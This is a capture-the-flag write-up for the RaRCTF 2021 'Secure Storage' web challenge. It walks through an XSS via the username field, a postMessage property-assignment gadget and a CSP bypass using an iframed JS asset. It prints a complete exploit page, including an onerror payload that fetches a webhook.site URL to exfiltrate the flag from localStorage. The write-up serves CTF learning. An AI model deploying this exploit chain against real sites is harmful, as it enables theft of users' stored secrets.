RaRCTF 2021
Web
Secure Storage
Check out our secure storage solutions for all your secure storing needs! featuring our new secure enclave™️ where secrets are stored securely™️
https://securestorage.rars.win/
https://secureenclave.rars.win/
The author writeup can be found here. The challenge is explained in far greater detail there, while this writeup sort of explains the unintended solution mentioned.
This challenge was solved in collaboration with @Creastery.
We're given two links and the corresponding source code. securestorage
embeds secureenclave
in an iframe
, then interacts with secureenclave
through postMessage
.
The objective is to submit a malicious page to an admin bot which has the flag stored in secureenclave
(in localStorage
).

/*
Secure Storage Service's
very secure communication method to talk to a sandboxed secure location
*/
window.onload = () => {
let storage = document.getElementById("secure_storage");
let user = document.getElementById("user").innerText;
storage.contentWindow.postMessage(["user", user], storage.src);
};
const changeMsg = () => {
let storage = document.getElementById("secure_storage");
storage.contentWindow.postMessage(["localStorage.message", document.getElementById("message").value], storage.src);
};
const changeColor = () => {
let storage = document.getElementById("secure_storage");
storage.contentWindow.postMessage(["localStorage.color", document.getElementById("color").value], storage.src);
};
securestorage
/* hey... what are you doing here??? 😡 */
console.log("secure js loaded...");
const z=(s,i,t=window,y='.')=>s.includes(y)?z(s.substring(s.indexOf(y)+1),i,t[s.split(y).shift()]):t[s]=i;
var user = "";
const render = () => {
document.getElementById("user").innerText = user;
document.getElementById("message").innerText = localStorage.message || "None set";
document.getElementById("message").style.color = localStorage.color || "black";
};
window.onmessage = (e) => {
let { origin, data } = e;
if(origin !== document.getElementById("site").innerText || !Array.isArray(data)) return;
z(...data.map(d => `${d}`));
render();
};
secureenclave
const z=(s,i,t=window,y='.') => {
s.includes(y)
?
z(
s.substring(s.indexOf(y)+1), i, t[s.split(y).shift()]
)
:
t[s]=i;
}
z
formattedCreastery first points out that the username provides an XSS vector:

We then start looking at secureenclave
. The flattening of parameters from postMessage
at z(...data.map(d =>
is annoying: it means that we can only send in strings.${d}
));
z
gives us an arbitrary string assignment - what is this even useful for? String assignment seems useless - it does not give us a way to call functions.
Creastery again points out we can use this to write arbitrary HTML by writing into innerHTML
: eg document.getElementById("secure_storage").contentWindow.postMessage(["document.body.innerHTML", "<img src='x'/>"], "*");
The next issue is the Content Security Policy present on secureenclave
: <meta http-equiv="Content-Security-Policy" content="default-src 'self'; style-src 'self' https://fonts.googleapis.com/css2; font-src 'self' https://fonts.gstatic.com;">
. With this in place, we unfortunately cannot execute any JavaScript code on secureenclave
even though we can write arbitrary HTML.
After reading this article, we realise that although the main page of secureenclave
and other pages all have a CSP defined on them, the assets do not. We can thus create an iframe
on secureenclave
that includes /secure.js
, then since our writes originate from secureenclave
, the Same-origin policy allows us to directly modify the contents of the iframe
.
With that, we can form our malicious page, which registers a user with the following payload:
- Overwrite the body of
secureenclave
with<iframe id=frame src="/secure.js"></iframe><div id=site>https://securestorage.rars.win</div>
. The additional div is necessary so that the check forsite
in theonmessage
handler does not fail - Overwrite the body of the
iframe
we just created with some code to exfiltrate the flag:<img src=x onerror="fetch('https://webhook.site/0334edcb-76bd-414b-9caf-c5f304c121ce/${btoa(localStorage.message)}')"/>
<html>
<body onload="loginform.submit()">
<form id="loginform" method="POST" action="https://securestorage.rars.win/api/register">
<input type="text" class="form-control" name="user" placeholder="Username"
value='5123<script>setTimeout(() => { storage = document.getElementById("secure_storage");storage.contentWindow.postMessage(["document.body.innerHTML", `<iframe id=frame src="/secure.js"></iframe><div id=site>https://securestorage.rars.win</div>`], storage.src);setTimeout(() => { storage.contentWindow.postMessage(["window.frame.contentWindow.document.body.innerHTML", "<img src=x onerror=\"fetch(`https://webhook.site/0334edcb-76bd-414b-9caf-c5f304c121ce/${btoa(localStorage.message)}`)\"/>"], storage.src); }, 500); }, 1000)</script>'>
<input type="password" class="form-control" name="pass" placeholder="Password" value='123123'>
<button type="submit" class="btn btn-primary mt-4">Login</button>
</form>
</body>
</html>
setTimeout(() => {
storage = document.getElementById('secure_storage');
storage.contentWindow.postMessage([
'document.body.innerHTML',
`<iframe id=frame src="/secure.js"></iframe><div id=site>https://securestorage.rars.win</div>`
], storage.src);
setTimeout(() => {
storage.contentWindow.postMessage([
'window.frame.contentWindow.document.body.innerHTML',
'<img src=x onerror="fetch(`https://webhook.site/0334edcb-76bd-414b-9caf-c5f304c121ce/${btoa(localStorage.message)}`)"/>'
], storage.src);
}, 500);
}, 1000);